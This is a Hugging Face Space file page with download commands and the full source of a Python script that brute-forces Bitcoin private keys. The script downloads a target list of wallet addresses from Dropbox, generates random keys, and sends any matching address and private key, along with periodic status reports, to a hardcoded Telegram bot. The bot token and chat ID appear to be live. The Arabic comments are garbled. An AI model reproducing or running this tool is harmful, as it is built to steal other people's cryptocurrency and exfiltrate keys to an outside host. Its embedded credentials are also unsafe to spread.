Download py.py from osama7145/README: direct link, hf CLI and curl.
- Browser
- Download file 2.24 kB
-
https://huggingface.co/spaces/osama7145/README/resolve/main/py.py
- Command line
-
hf download hf://spaces/osama7145/README/py.py
-
curl -L -o py.py https://huggingface.co/spaces/osama7145/README/resolve/main/py.py
2.24 kB
| import os, time, multiprocessing, requests, hashlib, base58 | |
| TOKEN = "5921618897:AAGu6bp5gFtatio22y-XdWUSwAd0Lk6b1HY" | |
| CHAT_ID = "227172927" | |
| URL = "https://www.dropbox.com/scl/fi/kpagj5u15zjeo0q5kg31t/wallets.txt?rlkey=0yc47js2rv5hvb2plcf9nqcgp&st=ma7gqux2&dl=1" | |
| def send_telegram(msg): | |
| try: requests.post(f"https://api.telegram.org/bot{TOKEN}/sendMessage", json={"chat_id": CHAT_ID, "text": msg}, timeout=10) | |
| except: pass | |
| def hunt(worker_id, counter, shared_dict): | |
| # ุชุญู ูู ุงูุนูุงููู ู ุฑุฉ ูุงุญุฏุฉ ูู ุงูุฐุงูุฑุฉ ููู ุนู ููุฉ ุจุดูู ู ุฎูู | |
| try: | |
| response = requests.get(URL, stream=True) | |
| wallets = set(line.decode().strip() for line in response.iter_lines() if line) | |
| except: return | |
| while True: | |
| priv = os.urandom(32) | |
| # ุชูููุฏ ุงูุนููุงู (Compressed) | |
| from ecdsa import SigningKey, SECP256k1 | |
| sk = SigningKey.from_string(priv, curve=SECP256k1) | |
| vk = sk.verifying_key.to_string("compressed") | |
| addr = base58.b58encode_check(b'\x00' + hashlib.new('ripemd160', hashlib.sha256(vk).digest()).digest()).decode() | |
| shared_dict[worker_id] = f"{addr} | {priv.hex()[:10]}..." | |
| if addr in wallets: | |
| send_telegram(f"๐จ ููุทุฉ ู ู ู ููู! (HuggingFace)\nADDR: {addr}\nKEY: {priv.hex()}") | |
| with counter.get_lock(): counter.value += 1 | |
| if __name__ == "__main__": | |
| send_telegram("๐ [ููููู] ุจุฏุฃ ุงูุชุดุบูู ุจูุธุงู ุงูู Stream ุงูู ููุฑ ููุฐุงูุฑุฉ...") | |
| count = multiprocessing.Value('L', 0) | |
| shared_dict = multiprocessing.Manager().dict() | |
| # ุชุดุบูู ุนุฏุฏ ู ุนุงูุฌุงุช ุฃูู ูุถู ุงู ุนุฏู ุงูุงูููุงุฑ (ู ุซูุงู 2 ููุท) | |
| for i in range(2): | |
| multiprocessing.Process(target=hunt, args=(i, count, shared_dict)).start() | |
| last_count, last_time = 0, time.time() | |
| while True: | |
| time.sleep(300) # ุชูุฑูุฑ ูู 5 ุฏูุงุฆู | |
| curr = count.value | |
| speed = (curr - last_count) / 300 | |
| send_telegram(f"๐ ุชูุฑูุฑ ููููู ุงูุฎููู\nุงูุณุฑุนุฉ: {speed:,.0f} k/s\nุฅุฌู ุงูู: {curr:,}\nุนููุงุช: {list(shared_dict.values())}") | |
| last_count = curr |